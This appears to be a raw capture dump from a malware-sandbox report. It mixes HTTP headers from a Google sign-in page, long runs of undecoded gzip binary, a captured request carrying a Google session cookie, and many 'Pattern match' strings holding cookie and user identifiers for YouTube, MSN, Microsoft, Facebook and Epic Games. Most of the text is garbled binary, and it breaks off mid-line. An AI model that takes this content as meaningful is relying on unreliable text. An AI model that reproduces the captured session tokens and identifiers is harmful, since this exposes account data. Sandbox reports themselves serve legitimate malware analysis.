Jan 1990 00:00:00 GMTDate: Mon, 14 Sep 2026 15:03:53 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Resource-Policy: same-siteReport-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy: script-src 'nonce-pECabKCo0DUzvUhpQUOPbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'reporting-endpoints: default="/v3/signin/_/AccountsSignInUi/web-reports?context=eJwNw09IU3EAB_C1_H0J67D-24IYnlqgvYyWYhApJXNu7vH2nD3Jl7aFg9h0exNSMU30sCKCysw6RAQVYmGHDoJ1KVJEpVz0nFEdChoWWqgkeej7gU-uufFArt3i32-3jOWPWk-c-WY9yf1bstZB7p2bFjfYeDAjLnOKB7jp7DtxgQ853ovjXBWcFX6O56VFFzuL06KAXztNMc5_2kxhazdF-aopKnhXZl7YeSL9SUzxepcblm43-jZ4kOIfFR785EuTHvTwyhcP1vjRbBWchV4U8GrCixzDi4U-HxZ56JYPz_jpi2o855xf1XjS48cwZ_gzv_noxwTrDhnn-EhARjk_vCbjMcdeyUjw0k4Fy2zLU7CDf7sUrHDlMQU-_t6gIMt_eZ23NyrYzc16AAbHOgJo26qik1sjKhauqFjklrcqkpyaUtE9VoNevsrX-Tbf5Zq9QWg8fDOIER7IBHGPj-6pRSmXDdXiFIf-ncaoQ8NLrndr6K_UMMiHv2qQ99Vh2-ZNc3fuf4BtaT6r5h9sjLXokVA4akSMi-fjsagRjoYakkZTMpIIx1vDcb1IKnJJJVJxoeTSm6X_JAPD5g"Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�000000010000000100000001s00000001�00000001�00000001�0000001�10db��5tE��N�\u��4m��A��8@�5��oa��9��׎y��3�2�9�-��==?�t{s"�{~b��|T��Ǫg�`r~2��78;S5�Yھל:��Mͱ�V�3Ϙچ}W��=\`��,\�9�4�orv�^��S�W}C��U�V-p~��Oט6��[��R!bǳ�g�睍�o��-��<9�a:n ��ś��mKY7��|�Z��/^��_��h4�]�.�O/��3J��>��.��s��\�|�^}a�/�odE�ξ)_e�ysy�n��ڜ}q�љu�P��]`-~�_�ŉ`;�y��\�_�WS�V��n�۷ӓ_~��ą��K�$�X,L M��ғ{'��SmÂrl�7 ÞJ��Ф1��pO�Q�-Qi}W��Z��t��?��(7��&8U��zb��D�q�K��P5xΥ�Cq�;��r�s�6~1d�,}.�%��ϓ��.ͽ7ޟ��es9�v^w` S�&��,ȡ��%3�:-�:B*�k0��ifLg&��%�1w�N��,��7�k�4%m��#b��Tԉ\��l�`�p<#�:�s��qu�bEt��R0\8�@�VP)�TB0�Fipr��"�`��ky:lq�j��O>�A��<��3v�z�|'9g'b��ü��EQ9�G�#yĒJ�IB.b��<��_^|ҟ��~��!��y��12�i�7��d��V��c�1�1�B�Hd�ZuuO�3~��ؽ�n�դ��J׫�Dx�eS��{x�᧵��AK�g 0M�g~�E�P�XT঍B��1b�3X�!�v`<��rV��z03tO�7�+��OZ��$��"��D�%��ġ��YI��{\�8f�Lj9�a_��`%�6<�T�vD� =��Ƃ�.��cT7{d�1�A��af4Cg8 ��ɰ��# ��)w��pEéU��7�{�I_��g�C��O�{5G��c&��|d��cJ�J� ��S��|\:8~Ɇ��C�Qf�]��d6�B��TL2�#9��NQZ�t5{7`7�a=J�Z��ۺN~Ċ~^��S��Zl�Q#Yݫ��t��^��z��|�acԑ��ϖ��6L�:�?ǎ�;Vr�EK��M�]�v>�+fρ��ԍ�Fw#�)��膧B[��2`��oIC�π]��R�R��"�8�Ú��'�j�y@��rnqX��v`؁>Ic��l`6v6�\R�SM8��N�%C��!�l��0�N`R<Жn�ǳ�)�aπk�C��9XQºt=8�Cɂ�ǃhx��d�yc��I��xeٯǔt;��>`�*�}��ђ� F�_��_-�*L\lA�u�N�暇mUcW(��P��T�&�5)�P��K5�&��i��\�Ԉ/o>/��u��N�ZgK�,��CB&&��Yz�1�JQф�˩�]��@�+@92t!��No�I��*]�4�x$�KS�F��L�W��jn�S��ݗ�x�hTJ��E��0�N��W�I��2J��zX��P��D��L�4`~��st��/V��O]��Nj:ڎ4h�:�ގCY��@*��x�ꥸ��C�Z2y��v�EA!�ױ�8f��W��Y�6^H0p��b^j�ut� �-Jq:��ΎN��^�ձk��8��{%��S%��|��б��z�!96Fu�K��"�Q��夎aE��C+�u%��p'�9�C�UTV$��[m��!(�aYsŵ\$�Pq�k�Ѥhw��Y*�(��T�^ŴY��V�R~<��u+`��ĥ��q�VZ�NK��8��}j�~�H��o�;��", "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:-EVC3B3WED4s_9bVooss45nfNfxPXQ:CzQK0u3E_vMApUWR", "5��rEŹ�jm��F+��Ser��شĺ�)|�J�`��ZY5J��g��W��"L��|2L�2 �V_L]+J�Py{qf��Մ�Y�T�K�~V&�43U��Y�V��&g3�7�+l+��Y}sA�a��1�gf��Cخ��C�f�o��.�~y��u7��ޞ.fo5!��ۙ?��L�D0ք�y��ʂ؅�'��?��u�_B�>��Ž=e�lmmeZY��ZeY.E�a�pqY��l.^��S�v��JqW@��f^f`P?�j�G&}5|��):�Rΰ3Bu�Pߝ�|h-��\�,TX��!f*bw��rU�sQ�)hal�C�H�M�k��M�]�T�2(#��T��G��'�(�K�T�6��[�nu/��` �!a!h*<�L�U�?%3-��d`&(��3�@C�+��0��m��|��U�M�X��57O�ҥr�Jj�%*��" "�i%kMI��)��O��Q��nߜI�ݙM�{�M�0�MY`��3��A�v|=�8�'��9^F�6�#�x��**�o~4�9?�7�ޖBCUf��X��y�.�(�¼��3�oL�})�=��[�h�?>HV��˷�j��a��d��x��5�s�;��/*xqZ8'.��̻2�%��Tjx�z�ɴ9��m`��lgF�d� �6��ш�;��6F�_�b�(��D&/��Lt^�rb�j��4l^�zF�bM��e]�υ�i�J�?��" "pG��%�vV~��\'h�͎4d�C\l��}�[�:��%�ms�&�V�46Gͦ��b�#�#�^�i8��DgdC{�Ac��T��\L�GJt��BD;��ηUҋ�@��DGc�Q�g��=�K+��=�`τ�^�mY�X�P��U��Z՚�7��=��6pm�7Évb��ަ��M�9�G{D�78�I�meH6�'4_&ѡu��uG��1i'�2��]��P�h�c&LIK��։�IS��~6��m��B��Nv�[��8!yIn��\�|0�-�d?l�!qH}�� (��-��X:NK(b��Nk��NQ䨇��g'��n۰�\��%V�v"��Дbb�Ij`!��aϷcL��մ�:m4B��>�l�尐�>՘Q�F��ޙN:��NFҔ��ы#�B"6�m`��}��.b��ZmK��l-js��[M:��P��˾B��<�&Ǿ�c[d��)�w}��p8��Q��`#H��Q��>#�t��ݖ&:҈��Ư-�1�C��Ȳ��A�gR��'4�*��.K��~�w!��@��#�0��gJ��A�#��0ɲ)�Y\��j�9��f�Ѫ��,y�N�V�W��X�;ᒤ�n�&�M8G�ѕl˵��X��A�5�:}�w��j��ׇ��T�֧��cw��̘�l�46�Ti�h�^�gq�'=�V�@��L�CO��x�n��t�S�K�ݛ`�~]A�"|�?%LցWb ԁ��'-��Ғ�<��&��kET��憙��8��E��ݤ�Of��$�J,�v��o�zs�ė��H_^<� �=�mӕ:�ame0�� h|ݱ��|=�&�a�q�g(��=5:%��J��ܬ��M��5.�֓�X��v��z��a��f'a�*��շ|�Qg�S�l��'��^�q�`�H��GHj�kw�0�;�?2#e�5�Ԑג��*�t[�*�a�1cLI�ԏ�9:).��jc�H}�>��cd��*ж!��0�2k�j�@�,8�sYgV��6ZN"gk��3è�dc�`d`�9ښOEv2�ǒYGʈX��Z�?��)L�k`KAG��r�i�$�e1�j�5g+B�'˰m��R��O�GY��]-�ޤ�-��ׂ�ς�eC HW��:$d]%7�ZI`{��|L�cfIX\a��VM%��1��YObN�F�X�'3i", "C��:t�01��ja�6��t��e�z��W��/�(4��x��?��E�r�Z��fkZ�'��ʕ�sGx�X�)��ez��Ξ��pK��0:�<��躾��U�S��o��I��뀻TE�{��4%l��VB��b��$�f��֏��cn�{C�b'�:W��6Ԫ9(z��,��2\��[�Fo"-�i�u��A��v¸Fu'��7�l��qk�K��M�u�wlZ�*�CR��֓5�F��hh7��m��Lc<ðŐ�X..�8�BK^��-� %��s��&R�Z��Ģ]��8�Bk0嗄��Xtt�^�9�Y��:��f�;�ք��/UI�~��0�N��-i�$�v��-�&�p�ۗKwo��i��&�>/��T�ӥ�}��d�>��k�'۱e0�/z�܁7|tI�F��I��r2�үJh��2��b��+_�=m��'�g�� Z�_�GS��@{�]H<}�U2��}{}*��׊ֽ��滒#��!��'��8f�$�*��E��t�B3�]S&4G�!�a�+�앾��\�i'G��N��Жd��y��&��翾k��+B��G��崵|^n�[�CK��c�$�ޯρ�9��y��*h��.�`o�;޾�&[{�xw��'F7�R��O��=y��wM�#L�=��NwXh��?~�㦽��0ŗ+-��0�5��[�SJj��-�w�nKN�(8��(�V��k�9�w�_Z�M3o��yI"#0;��l��C�tx�Tɺ��>�q�G�s'��#C�ݞ��.̡�i��#~J��o��Gݎlѣ�mR:ǋ�#�t��ǵ��`�A��竱>��.�F��~�@َ��(�40�,*�g�Q(�V��~�!�G��n��z7��c��P��]�1eh�h<��w��g�1��/�+�nV��@��f\*��U̮��}V? �h�Q�9��Y.��+�t ��W�L`��h��eZ�+��T��R&��|�V�� `E�חTK��}*Q��k9�&��O�Ts��6P��u�n�,R�̃�c_��t|�;$+��G��R±m9c��{l2��{�)dY�9�� _�c�o�_��P��7]��syl�ł�;H��0��s�.�yW��T��脀A�EǺ4V�", "�ݷ��Dm!��L��'��g �_*��"�V��5�5̜��eظ��,��!D�hT�g��G�u��*��y��o߀��4�]7��dg�`�` Y�Vrö�6D�/9��d'V�]�LrJhEw�9�Ji��MH��%�dr��Ot~��nJ��ء�ɞ�Pr1c��8v�y��/�:��_��&�2Mًk��qR�m�L5�X]�M�:��7)-�y��5�qCw|��T�ە��S��Xb;H��?N�N��O��+uq�5/�F��jJ ȴ��Eg��]��G/s壗�N��g;�FB��rX��n�*];T�7��P=�S�dB�( �B�;��y�z�:Ň�v��Zh��a(Y�S@�p�{;^^Oh�w��r�l�]�V�o??ق�ف��M+0��7�Ʈ-|�kz�a�G��B�n�7c(�@K��_Ӓ$=�K�s̶c!�Z�,ط��:��pjm��jn�U��=hk�rO�17�6��p��R�W��5[$޸IܟL� ��P�t0a`6Q-��>:p�#z��$��d�Oћ�']Xp[?0�^ ��w�(�6|N_#��B��,�j0�#+0A^�a�r�=xF 3��oIEcO��TZ!A��l� ��N�%��MzE��ؘ�L��L��CG��F@�w��r%�P�KhlT��Y��d�)�9��C��_�L��ie'�,ʳ�Xra��`�R��6��-dfu�Xf�~2��f�Ω�u�j��ev��>V^�MM�<�z6��P+��X��`��I<��X�3�A��|C�S��\��H��,xE°�?��PJz�ɡ.��K��$��8��X^�ؽ�[�o��W��Қ��a��Y]�%!X�[J��\ʉ<�w)8:��ph��*.��^�V�@'S�I5/��d��J�4�� Ւ2ԝ�Y��}Vb��0�MS��ThTv��T*27��wF"�0�O)��Ԧ!Տ�(#�B��`��l$�A�g��#��\��s��" �O��XY)�!z�56�&g��x/��gz��|�*��$$�a��̀koʉ��pt��v�ݔ�*�M�u�Օ��M8��9Mݔ�qIUq��ڃ��Ræ�[0U��RvY��*]��Ϩ݈��g�9��M�ه�6��#Z��A�A��5T�3TPd'�By��.�!THN%�ȶw�>.��9ڹ��+�ڭF�k�S+��a�t�Uhɰ��&�<��0sÞG�6��J*J=Y�u�ޓPG�Ȉ��B�!*l�;�r�i̮o�HEt��0/��m��cdrG��ǘU��0�(��íB\��#U��_+��T��<�F��g��ع�x�wYSd��e�=��;��y��\��-��K��N��#G��e�U��^^vV�Z��|יT�7�O�W��tUϏ��+�"��%]bP��-�d�#a��N�D��s�E3sL{�G�D��Fpô`#�V�nIKčZ*fO�,��=Ipu��|��?��;��W�kx��c��͎�Aί�k�G|��hy�:HӝW<�\m>��zkNE&�P9F&�v��2d�DD�3�p�ˤ6ٌ��,D��j��H��W��{�A��w��4��."ik�O��U�LBy�di��r9�K��ۺc��`��pXs\\��Fd�,D�s��6��#��8��7��X�D��R5��XMK.]O��])J�KTw��JLl%DB6�B�!V�ēXޫ��2^�Q��u|�>V�O�h��C�u|�)Vp|~��ŘV��ǕG�#u�d?�<��h�#�Og��*��嗡�fV�ǋo4�t�p��)�$!�LM�42_;�ą5�ȅZ�o x��p?��;��=��x+��D�^�+�O�zA�܉��Lأ�Ԇ�Ǚp�~��R�Jmx5�Y?w��abJ�yͪB�:e��9��U�d�]�O��H5�:c.۹l��6�k`cfml�2�۠��)��SHZ�*T�HI�r�^P�/��", "00000001�00000001]00000001i00000001s00000001�00000001<0000000100000001�00000001+00000001�00000001�00000001/00000001�00000001�00000001I00000001�0010d6�ڭ�I !��p8cC��W��d�&y�ݚ�LaK�V��t�l&Tֶ.r�&��zag�4�7��|*��EL&"��)��S4��;�+E��D{e�R4Q�6I��e�p��0�Y��s.�e�-�S��L낖�sZ6�e��*�A[&�K��yrW��`�4/�Xg��7�j"G角nϊoӘ'�ʇ�5�'��x�4b��'x� ��Z��1��Ih3��2a��$��q+��l��x��p�ȓ$T�ǉ̥:Ħ��W|]<��c��L%�#�DY�$�@�=|9َG1+_`ʡ��ty�H�W�N1B��)��)9�s��K�8w�i%�؈2("6rW�1��J�R��*��L�>��io��ഷt�b�uv=6�U��&�g=�>��M{,_´��/k�ׁ�`N��љJ��J�,mPZ{9^��q��SV;�JA�T�p�CY3��@�0W==Y��A�BL��w)Kq��E|��">�ex��V��^O��Mz˳e�1��+��(�ې�EI�3�f|lk��v�o��+�l#�n�-z��Y5>�!�y��Xg��=��ΎG#��IbiK񃒏�Ұ��<�K��;�^�Ǔ��~*t6r�)0)M�QZ��_bGļVѵL��=Ͳ]c��"||]��&�w*Eh>I{��lNk�w�<�C�18�[�~M^ܓ��~��O�e4�f��ە�#Cџ7��^_;�?��>^��V�o|7�sG�:��;L��f�B��[��r��qc�N��3��$��t�t��#�M��|��/��jv��|/CɣO��e��)�4�ta��l��-g��9s�7Q��B%@��:��(��ާBȗB��7wnh�'�_4sU;�w��ۣ`f�oC4/�R$H㓐��@�g�qD��/�L�9��rH��Ak8��kd�.gv��v��)��-��V��V�H�r�U&�U�Bg�ϟ0�N��ZA�O�/w��w��B��Eh��m~��1cf'5uT0&}\��*tc=}��愅�if��='J3`�l�wn��À�cd��)�*^��r9硚W��.��`hYl��;�;K��&�ף��a��l;�H֨M�]wj��f��P�N�^�)��'��·��V\#��gp;��j��I�vw��46b#�lL��t��B�60��9<�qi�Y��aRo�z��O�bY�b*�?�G$��c��e�:�e��uTDt^h,��&&�5E��[*#�qP ��|7�_��g��u�)d(�ޑ��&:r��R�}��-��>�:��**�M�IHƩ�*��r��}�8��d�t�M�*ip}p��]|�8�s>X=�4f��j�v�j�n��LMq[�v��7�t��o�Cxd�[h��e��JzRhîq~Pgbl��F'�8��ݗ�6&�!�M��-)�o��N��u!�+G�v\k��$|�eysqbiq��p�ҝ�9��@�F��Dy�&pF8P�-P\��o��o/ˏN1� ��O��A�Cg׏�Aĥ�n��l��֦S��#�w)��Һ�&߁/rayܴ�@��rK^��=��[W��zA��7KfaeE�g@kri��2�cf�]�Q5��P�E��7�2�A��-�6k�f�̴;D��F?�FCc�X^=zjg�vi��9x��5�!��S��?y^��j^UNr��R�+�K:�f�;�v�10�L��~ki?��a��[q�X=�h$�M10�_=�4�F��Fo�*>s�4��6Jx(n!��Q�%B%J�x��k�ml��N��R�^��Lg�y� ��6��Ux6�3b��", "��?��f�ܝ_��E78��؛�p˲��խ��>�٧�]�j�g)_*�^LQw�.Rx��QhZ��e7ߦ��l�X7~]|��.�9��/AW�#��~R��s��>�)AH��q�i�g�xe�A�� 5h��/��9T�[�/�5wZ�=�G`��`��>\g}��x�x�w��d�e�'�� 0��f��[�?JC��Z��<��xkS��O�Lx�Ƿ��"�(Z��]��j�{�8}*��ֲ�f�ӫb�SQ9}ܐ�J�#V�p��B��h!/��,q��,��6�Tn�F_-Z�V�1Q&ˬ0�#�j��4W�%�lS\�(\`<��@��~>Ʀ�Ԋ�)�[��CV�j/��e�"Bʶ]v��Ѩ��t�t��V"��~�A�N*�4�A��>�%J�28��u=2z��͛��u�⩝�5k/m��#x�B*�1�NǺ��E7rN'Fk?3�/%��K~ȠpGO@�R<;w�&��u[�'�b�� 1D�`DP��o/f\|܎��܂\��o�@,햳�zT�AH偑��{��4m@ܱ5��aW~�}�~P��Z��{3{��xu��s�E��כ��O�=÷�f��J��@*Z.�@͜�O�|x!�a|'��7�j�gJ�=�I��k�/p��|��E�&�=��(��:P?m�|��l�̄��R+;��z�$q�A��y�\ή^�uW�x��$�1CZM��فnFMDRe��}�~'H�O��4�+��27�9�#��'.��B\�-��X_S)�/�'y^��:w��l�*��.ע�u��toW'��7��cl��>N:HL��(>Z%\B��q�ug�ʳǧ�^�S�&��\�ʹ[/��֠�1y��*��q9�Tx!�ϫ2�2�q�i*��5k�Rҡ�_�ȗ��Tnt��!v�C��\&g�T&�'4�I�H��E�P�'r��7��O�}T~��0�,)��M2��N.9z�%c\�J�ҙcD^b��W��_��tnY#չ��>�R�&r�%ެ9�iK��XR�5��uel��+�r�Uv�*܃��{Ɛ�nk`T�;��-��b��9Lm�JZ� ?�l��&M+g'�ne��m�V=�Sb)�]�� }�7�Ä=w��Y'~�?��O�@$�Jڳ�]��Jlv\��D4�c�E�~�g��S��C-��fY6:��5r'�L�Ͷ�$!(�i��0�1W��Q�n8��A��qt39�W磑�g:{\��6u��x(�O��̂�c�Y6C(ެ�\�1��>g�Su�i9��8O��ŀcra��H��Ư!�w��#cFdΐ*��2׀�%��DY�`JJ��7BA��ƪ��?��lJJ%��-�)�Oҹ��bm�� cC��P&��TQ+�(wX��UR�;K�ԊV/W?��$�ܪo�Í�<7̪ɢ>�e5�N'֭��V�,DD,�0�%{:�n4��v?2�®'3ߏ�[�\�k�)�h�GS/�}i��Y_]�+��|v�~��.ޯ��a�'M��塊�.�l��4��i&ų��6��h�WV�sg��h��]ő�", "��|�U�*|/?Nu�ʑϬ��S��m'�&d>��P@0?1�G��AME��^��[W�H�a:��4��ɏ��vc�a�{M.~<��̡��bT��W��a1I��>}<��pqW�(K�c��f��ݖ-�_��"Z�E_D�eh�'̍Gĝ��J1<>�O.�<�_��-_p {�ҍ(��{�W#)yo�T0w�}YR��t]}��eX�@�^?s��/�M&��3eNg��1�XR��%��I��6�� $�3��2R5s� "_��$��D@�'��&-%�^�p%�@��8�s$�d*MJCT�ր�Jb��قv�Fmѫ�{�4 F��Ü�dq��NkВ$�e��4%D��P��=SUWb��7Zܤ�KP�=)� :=�X5O��hzlP�HUdcQ"��^cJ�3�*��fkJN>�oEZ��-`�+��)��f+X� �E4]BM��ºT��tS��.B5*6�Vow�5O��V ��J{q�`j��V��4R�O��<�q�`��3�{яHK��3d��⼕��r��{��j(64t��b�n(N�ܷ��6o�5��!{k+Q5��*!0�v}u��>�xM�:�0��I�d�ր�2j�UEzM��C��?X�62)��=��@^8�r͡i勲2��3�;>�>-�a�D5n�I_��#ǲ��d~��+��0O#O6��$ۉ��Z�$��.��S�J}��D��Y6�Q�>+��n�i�"�e�ȧ�(�)rg)��Zu��r�t$�p2}��K&�#�k�f@+��Tz3�'�g��?;[�A8��Dx�W7� �[��(#��>�8Z�|f�K�*��(��z�l�D3K"ܳ�5��dgDC��WE��NgLC�Y�[Q��s��l]nȕZ�+��)��f�_d˪7�z�j�[�n��-d��Ă`�>�p�J9�B��x�(��[�|`c��1�@Ǟ��La$�RM)vFŮ�bo�:R�ǐ�M#Cryk�V�d�mM+�nyK�f�]l7�= �[�K�l�+�%3��C�:%:ຝOs�B�mp-Gm�?;ѓϹ��I&(T|KK�o�;��x��3dm��@�t��a�^�.��c�4�2/��P��=4D��AC$�s�D󚶂 G�tmo��٣��gۍ/T��O��cヸ B��U�0��*?]�);?��Ʃ��یO��h�5��!kK7C>�\E��>4݊l�o��C?)7��Q:�(V��BVl��i9YA�@4��aC�h��`��4�I��$I��X8i��7�7��QHO�Rט��)JL(�T7��놐��l��`:"�k+B�y��]�R�$�'��G��ʑ��9΢��w��i��j�f=�(ث�A��W�{j�=��S�j�m��0�x��{��6�F��&�'$�Ԑ��L��G1r6�&��s4k��O�c��t�{�'�'{>#]8�͢!�-��L��$�oB��ژ��5�RJmf��N};z��b$��c�{Q��ij�M�r�8c/��i�j�D{��ʄ��"�=�0��S�@�g{s��L�r:��V&o.�sfd)ђ�$jf�iʲ��g詘L��K[�-Q��q�!�{�)�� ـ[*_<��Ň��L�X3G�Qz�Y��}��O��3u��D�89)�� d��q\6rUO��\WI0�H�i%7��p|=0�K��Ơ7��$�*N.w;_�ش�5�i�ju�YΰVDau8��S��8��e�`\�]�ͨs�u�E��ׅ�`[�]��8�'!%�?�V&�Ȧ�:�pV9��U�z��5��O�9[�6��=�8�X|lz={��}<��)��h��(�"I"T�eYA��yA۳o��Kx=�'��ͤο�Η��k>��ǔy%ߐ҈��A�5�_��F�>2�ނ��R��B�2��[��qU7�U̖Ȕ��UVJM~"�t�g�D*�rm�'%�(�V��_�+m��ɏk" "��q��h¼:��z��#3^�7:��|�ny/4}d��Fǡ��{u��/�[T�X�=�kߖ�cL�>&�U(;`d�sL�K�og�+!_h��Mw��O�!�x�9��Y>�nQ�i�ݢ?��T�2��&%F��G�"W�kֻ��qt��Q�Ц�L��ͦ��L\kJQ1�*&��Z��J�k��J�hE��x֢E�B��!+��g��v�WW�V�6�x*(��", "00000001�00000001]0000000110000000100000001�0000000100000000100000001{000001170C��:#�Ā@L ��zh.�.ir��!�kGu{\b']VOZ��R%p�E:�J(xH��Fi�j(��,�]�PB��)d�d� yo�D�}�ַ��\��'��J�=�y�Ⴠ88-��;,|��AW='z��~�q�͌8�%��4z {��57'�A�y4�ͼ�D�&�RA��ɋ��ٶ��4��$��w�oD<��e.Ҁ��ʙ�o�Q�m}�>�K�<��ܬ�l��!�Vdk�I0��i�f+J�X]��7,�j�=lNӕ�hP��A��!�r�&�EZ(�U��j�Ҕ�ؠ/%�j��SYlS�5��T+��*��", "00000001�00000001]00000001m00000001s00000001�0000000180000000100000001�00000001+00000001�00000001�00000001�00000001d00000001�00000001�00000001�0000000100000001000001�83e/wC{m�K/m�Izߌm.Sl2I��,��+J�|�0��j�h��-�:n�'��gے�*S�ל�#�E6��&�:��>y�-��h�L�˳H풑4={d²�r��t�'�3��1��c���9�ovF��xU��@w�{��Biٮ�Ry�̑��?�(>�+�W]�,0"Co��)cas3QH��)k�SD��4te�~��`�+��;��?"t�S�x2��Ә�yf��lp��3��?�߇T��[2�gfC�Q.��9�?��"55:T3346,Pattern match: "https://accounts.google.com" Heuristic match: "ch-.kh" Heuristic match: "?a$.gp" Heuristic match: "?s.pw" Heuristic match: "j0.sj" Pattern match: "http://www.imagemagick.orgtextthumb::document::pagestextthumb::image::heighttextthumb::image::widthtextthumb::mimetypeimage/png?textthumb::mtime1463602654textthumb::sizevtextthumb::urifile:///mntlog/favicons/2016-05-18/1a55d07c6ec007389dfa0cacbe041e86.ico." Pattern match: "https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/" Pattern match: "https://fonts.googleapis.com/css?family=youtube+sans:500" Pattern match: "https://static-assets-prod.unrealengine.com/account-portal/static/assets/inter-light-cdxm_abl.woff2" Pattern match: "o.ss2.us/0!http://x.ss2.us/x.cer0&http://s.ss2.us/r.crl0sn" Pattern match: "consentwp.2676bayoutube.com/102431383388163210825482504061830633367__secure-ynid21.yt=n6fo-nmcnzagvjbcz7jkkotzf9lxbb1q24bousqknaxdnujzaka3kbopz0pponpwojuzi50otgztqvpt7zfyjllwifpbhvfjkoqnzipfoba4are1qdxwu1jtasnw1npwprsh37z25qvbcrnwbi5prb7czhrf2smwc1dx8dgi9r" Pattern match: "92161020640003135662526898271531278189muid33518a4f363769a70b3a9d9b3705683bmsn.com/10251020640003135662526882671531278189web-user%7b%22userid%22%3a%22m-33518a4f363769a70b3a9d9b3705683b%22%2c%22cohorts%22%3a%5b%7b%22name%22%3a%22supercold%22%2c%22everselecte" Pattern match: "muid33518a4f363769a70b3a9d9b3705683bmsn.com/10251020640003135662526882671531278189web-user%7b%22userid%22%3a%22m-33518a4f363769a70b3a9d9b3705683b%22%2c%22cohorts%22%3a%5b%7b%22name%22%3a%22supercold%22%2c%22everselected%22%3afalse%2c%22reason%22%3a%22match" Pattern match: "7dmsn.com/921724473189123127957826867071531278189" Pattern match: "muid3f4a42e3a0ef69d22ecf5537a1d068e8microsoft.com/1025820640003135662525275868731278189_edge_vmicrosoft.com/9216820640003135662525291468731278189srchdaf=noformmicrosoft.com/102422104602883142522225291468731278189srchuidv=2&guid=70e27485ef5d4577817ecfe44f50" Pattern match: "consentwp.2676bayoutube.com/102431383388163210825482504061830633367__secure-ynid21.yt=lgccxb996pd6hv-aigkhs-dy8ius5uxrrcopiugwaxhzhd9rz-lwkcwkj5h7ovafuoc6rks1mfujnlh5fhzmc1ajylzuqmf6vgzl9qfzyql5uzqdr3e7s_m8p-y5bxvjmrualvnhfjh3gwhyacjmrtwp_yxdr3sz3gjjezev-z" Pattern match: "http://c.pki.goog/we1/pl4xitjsdsk.crl" Pattern match: "http://c.pki.goog/we1/g0k-bqpox8k.crl" Pattern match: "3a59zwww.msn.com/102422304602883142522226882671531278189muidb33518a4f363769a70b3a9d9b3705683bwww.msn.com/92161020640003135662526882671531278189" Pattern match: "http://c.pki.goog/we1/x6eg-8tswuw.crl" Pattern match: ".epicgames.com/9217207140249631278174411478114631278171" Pattern match: ".e704allsdpozav4ka0h3anwww.epicgames.com/9217206140249631278174171451313231278171" Pattern match: ".epicgames.com/9217207140249631278174411509314731278171" Pattern match: "muid3f4a42e3a0ef69d22ecf5537a1d068e8microsoft.com/1025820640003135662525275868731278189_edge_vmicrosoft.com/9216820640003135662525291468731278189srchdaf=noformmicrosoft.com/102422104602883142522225291468731278189" Pattern match: "https://www.google.com/favicon.ico" Pattern match: "0fv0jee3tkvbdtpvg..bqqaza..aaa.0.0.bqqaza.awdwk-np3ianxfdvpggsxpw2di8facebook.com/9217728377600312962751099076203312781702gyoarjymfhk_acmd41qo_a-facebook.com/9217227283174431358636109938820431278170" Pattern match: "3a59zwww.msn.com/102422304602883142522226882671531278189" Pattern match: "muid3f4a42e3a0ef69d22ecf5537a1d068e8microsoft.com/1025820640003135662525275868731278189_edge_vmicrosoft.com/9216820640003135662525291468731278189" Pattern match: "0fv0jee3tkvbdtpvg..bqqaza..aaa.0.0.bqqaza.awdwk-np3ianxfdvpggsxpw2di8facebook.com/921772837760031296275109907620331278170" Pattern match: ".google.com/921784888678431425021107832816731278170" Pattern match: "muidb3f4a42e3a0ef69d22ecf5537a1d068e8ieonline.microsoft.com/9216820640003135662525275868731278189" Pattern match: "muid3f4a42e3a0ef69d22ecf5537a1d068e8microsoft.com/1025820640003135662525275868731278189" Pattern match: "consentwp.2676bayoutube.com/102431383388163210825482504061830633367" Heuristic match: "ocsp.digicert.cn" Heuristic match: "get /mfewtzbnmeswstajbgurdgmcgguabbtfqhljklejqzpin0kczkdaqpvyowqust7daqp4v0cb1jgmgggc72nkk8mcea59dsncqddhv39mzstnbr0%3d http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: ocsp.digicert.cn" Heuristic match: "crt.rootg2.amazontrust.com" Heuristic match: "get /rootg2.cer http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: crt.rootg2.amazontrust.com" Heuristic match: "crl.rootca1.amazontrust.com" Heuristic match: "get /rootca1.crl http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: crl.rootca1.amazontrust.com" Heuristic match: "crl.rootg2.amazontrust.com" Heuristic match: "get /rootg2.crl http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: crl.rootg2.amazontrust.com" Heuristic match: "ocsp.rootg2.amazontrust.com" Heuristic match: "get /mfqwujbqme4wtdajbgurdgmcgguabbsifarexmfqfjr3tkmynd7o5mhzegqunf8a36ob1zaroiiiug1knpirkymcewz%2fleoqj83z%2bskukwh5co65xmy%3d http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: ocsp.rootg2.amazontrust.com" Heuristic match: "ocsp.r2m04.amazontrust.com" Heuristic match: "get 